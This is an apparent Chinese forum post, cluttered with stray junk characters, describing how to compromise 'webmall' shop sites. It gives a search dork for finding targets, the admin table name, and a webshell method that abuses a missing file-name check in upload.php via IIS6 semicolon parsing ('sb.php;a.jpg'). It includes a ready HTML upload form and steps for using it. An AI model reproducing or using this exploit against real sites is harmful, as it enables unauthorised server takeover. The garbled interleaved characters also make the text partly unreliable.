关键字:inurl:webmall/detail.php?id
* S$ B( P8 r. p" ]1 R" W& ^- v" a4 ]0 B* x3 p. p
数据表:pwn_base_admin
, l" k2 B! H! S7 O5 V 2 {5 {! A$ L4 T, \( ^
关于拿shell7 x2 P- p# u3 z, c; B( P; O
U2 g# A. e1 m; ]! w/ a2 ~; s首先登录后台admin.php3 `* k, B( z, j. K; R/ D/ c
. F8 k, Z2 h0 j% k
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。
4 d& R& ^* D5 E M6 u* s; m; ~" D换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
/ s; W2 n' Q$ O# P8 L然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的- {- ^: }8 X5 P, C- W& u, V
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
1 y8 a! {, o" Z ^<input type="text" name="fileName" value="sb.php;a.jpg" /> + F% K8 E/ R; U& h1 ^% P" Z, q
<input type="hidden" name="attachPath" value="news/pics/" /> 7 O; s# \$ }% @# n1 K
<input type="file" name="fileData" size="14" /></td> # q3 j) I5 ?7 P0 e1 L8 F0 j2 ~, h
<input type="submit" name="button" value="确定" />
! ?3 l: f- @5 ^</form>0 } W8 V4 a" n& ^) x E* q
2 q' ]6 q7 u0 r* z: Z
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。+ J% c" L' N+ l" | B
$ n$ N: Z! J6 C* t6 s! b
|